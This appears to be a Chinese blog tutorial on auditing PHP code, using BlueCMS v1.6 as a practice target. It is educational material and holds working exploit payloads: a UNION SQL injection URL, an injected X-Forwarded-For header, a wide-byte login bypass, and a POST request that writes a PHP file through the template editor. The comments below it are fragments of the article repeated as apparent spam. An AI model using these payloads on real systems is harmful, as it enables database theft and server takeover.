通过 BlueCMS 学习 php 代码审计
0x00 前言
最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:
php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 早期CMS程序代码审计实战 -> MVC模式程序代码审计实战
网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向。
然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理早期CMS程序代码审计实战 -> MVC模式程序代码审计实战的过程,并在博客上发表。
早期CMS程序代码审计实战 我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,难度逐渐提升。在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,直到PhpCMS,发现已经实现了一个MVC模型的程序。相信完成这步后再审计非 MVC 模式程序的代码就会具有清晰的思路与十足的把握。
0x01 BlueCMS 简介
BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑。
BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是早期CMS程序代码审计实战系列最标志的第一环。
BlueCMS 源码也不太好找,这里推荐站长之家(http://down.chinaz.com/),yyds
BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功。
0x02 全局分析
在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作
目录结构
通过目录结构可以简单看出程序的逻辑
目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善
首页 index.php
首页 index.php 首先会加载common.inc.php,include/index.fun.php这些文件具体做了什么后面仔细分析
然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了
require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');
// 获取新闻栏目、新闻分类列表、网站公告等数据
……
// 利用smarty模板引擎显示页面
$smarty->display('index.htm');
可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.php
include/common.inc.php
对GPC数据做了过滤,但外部可控数据还包括$_SERVER
没有经过过滤
还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用
comon.inc.php 的其他处理逻辑注释即可
// 加载一些基础文件
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
// 外部数据过滤
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
// 数据库链接
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// Smarty模板对象就是这引入的
require(BLUE_ROOT.'include/smarty/Smarty.class.php');
$smarty = new Smarty();
// 用户ip处理
$banned_ip = get_bannedip();
if (@in_array($online_ip, $banned_ip))
{
showmsg('对不起,您的IP已被禁止,有问题请联系管理员!');
}
外部数据的具体过滤方式
追踪一下deep_addslashes()
方法,看下数据过滤的具体实现方式
/include/common.fun.php
具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作
// include/common.fun.php 14-28:
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
数据库连接方式
include/mysql.class.php
数据库连接方法是mysql_connect(),$linkid
存放MySQL 连接标识
这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能
然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行
class mysql {
var $linkid=null;
function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) {
$this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect);
}
function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
}
}
}
// mysql_query()封装执行sql语句的方法
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}
// getone() 封装查询数据的方法
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
……
}
后台逻辑分析
后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑
后台入口文件
admin/index.php
admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理
index.php 剩下内容主要用于显示后台的页面
require_once(dirname(__FILE__) . "/include/common.inc.php");
$act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : '';
if($act==''){
// 显示后台页面
$smarty->display('index.htm');
}
elseif($act=='top')
{
// 显示顶部
$smarty->display('top.htm');
}
elseif($act=='menu'){
// 显示菜单
$smarty->display('menu.htm');
}
elseif($act == 'main'){
// 显示主体页面
$smarty->display('main.htm');
}
admin/templates/default/index.htm
关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案
<frameset rows="76,*" frameborder="no" border="0" framespacing="0" >
<frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize>
<frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0" >
<frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize>
<frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize>
</frameset>
</frameset>
common.inc.php处理细节
admin/include/common.inc.php
该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面
可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果$_SESSION['admin_id']存在则通过验证并刷新用户登陆记录
当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆
如果未设置cookie信息,则跳转到login.php?act=login页面重新登陆
// 加载一些基础文件
require_once(……)
// 外部数据过滤
deep_addslashes()
// 数据库链接
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// 加载smarty模板引擎
require(BLUE_ROOT.'include/smarty/Smarty.class.php');
$smarty = new Smarty();
// 管理员身份认证
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
update_admin_info($_COOKIE['Blue']['admin_name']);
}
}else{
setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
exit();
}
}elseif($_SESSION['admin_id']){
update_admin_info($_SESSION['admin_name']);
}
0x03 漏洞审计
sql注入漏洞
通过BlueCMS我们可以看到各种常见的漏洞写法
数字型注入
ad_js.php
ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤
$ad_id通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行
在执行的sql语句中发现$ad_id没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入
sql查询结果最后是用注释的方式放在页面上
require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:
http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+
$_SERVER 的突破
上面知道只对GPC数据做了全局过滤,还有一个$_SERVER
是没有过滤的,其实$_SERVER
也是可以传入外部可控数据的
guest_book.php
guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中
其中$online_ip来自 common.fun.php 中 getip() 函数
require dirname(__FILE__) . '/include/common.inc.php';
if ($act == 'list'){
……
}elseif($act == 'send'){
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
}
common.fun.php
getip() 首先会在HTTP_
开头的环境变量寻找ip,HTTP_
开头的变量是可控的,来自请求头
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
……
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
漏洞复现:
POST /guest_book.php HTTP/1.1
Host: bluecms:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X_FORWARDED_FOR: 192.168.44.1',user())#
Connection: close
Cookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9
Upgrade-Insecure-Requests: 1
Content-Length: 37
content=hello&act=send&page_id=1&rid=
效果:
宽字节注入
上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下
admin/login.php
admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码
可以看到后台验证验证用户是否登陆的依据:具有非空$_SESSION['admin_id']值
$admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为check_admin()
require_once(dirname(__FILE__) . '/include/common.inc.php');
if($act == 'login'){
if($_SESSION['admin_id']){
showmsg('您已登录,不用再次登录', 'index.php');
}
……
}elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('您输入的用户名和密码有误');
}
}
admin/include/common.fun.php
判断的依据是同时查询用户名和密码,查询到结果则为真
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制
注意浏览器会自动对post数据url编码,我们注入的%
会被编码导致注入宽字节失效,最好通过抓包取消url编码
任意文件读取/写入
在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞
审计细节
admin/tpl_manage.php
require_once(dirname(__FILE__).'/include/common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list';
if($act == 'list'){
$dir = BLUE_ROOT.'templates/default';
// 列出$dir下的文件
……
}
elseif($act == 'edit'){
$file = $_GET['tpl_name'];
if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
showmsg('打开目标模板文件失败');
}
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
fclose($handle);
$tpl['name'] = $file;
template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
$smarty->display('tpl_info.htm');
}
elseif($act == 'do_edit'){
$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
if(empty($tpl_name)){
return false;
}
$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
if(!$handle = @fopen($tpl, 'wb')){
showmsg("打开目标模版文件 $tpl 失败");
}
if(fwrite($handle, $tpl_content) === false){
showmsg('写入目标 $tpl 失败');
}
fclose($handle);
showmsg('编辑模板成功', 'tpl_manage.php');
}
$act可控,用于指定操作,具有的操作为list, edit 和do_edit
默认操作 list,列出指定目录下的文件
操作 edit用于读取指定目录下的$file,该参数可控,通过../可以实现目录穿越,这里就有任意文件读取漏洞
操作 do_edit 将$tpl_content写入到$tpl_name文件中,两个参数都可控,不过写入的内容$tpl_content会通过 deep_stripslashes() 过滤,同时还要注意$tpl_content是通过 POST 方式传入的,还会经过 addslashes() 处理
include/common.fun.php
查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞
function deep_stripslashes($str)
{
if(is_array($str))
{
foreach($str as $key => $val)
{
$str[$key] = deep_stripslashes($val);
}
}
else
{
$str = stripslashes($str);
}
return $str;
}
复现
利用目录穿越读取任意文件
直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:
POST /admin/tpl_manage.php HTTP/1.1
Host: bluecms.test:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://bluecms.test:8888
Connection: close
Referer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htm
Cookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77
Upgrade-Insecure-Requests: 1
tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit
效果:
任意文件删除
user.php
$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的
elseif ($act == 'del_pic') {
$id = $_REQUEST['id'];
$db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");
if (file_exists(BLUE_ROOT . $id)) {
@unlink(BLUE_ROOT . $id);
}
0x04 总结
BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。
参考
https://xz.aliyun.com/t/7074
相关文章
- 5条评论
- 泪灼软祣2022-05-28 05:36:30
- 百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑后台入口文件admin/index.phpadmin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理index.php
- 囤梦笙沉2022-05-28 08:34:42
- lashes($_POST['tpl_content']) : ''; if(empty($tpl_name)){ return false; } $tpl = BLUE_ROOT.'templates/default/'.$tpl_na
- 礼忱谷夏2022-05-28 06:48:31
- y()封装执行sql语句的方法 function query($sql){ if(!$query=@mysql_query($sql, $this->linkid)){ $this->
- 忿咬拥欲2022-05-28 04:26:35
- mysql_query( "SET NAMES gbk"); } } } // mysql_query()封装执行sql语句的方法 function quer
- 瑰颈佼人2022-05-28 05:55:46
- exit(); }}elseif($_SESSION['admin_id']){ update_admin_info($_SESSION['admin_name']);}0x03 漏洞审计sql注入漏洞通过BlueCMS我们可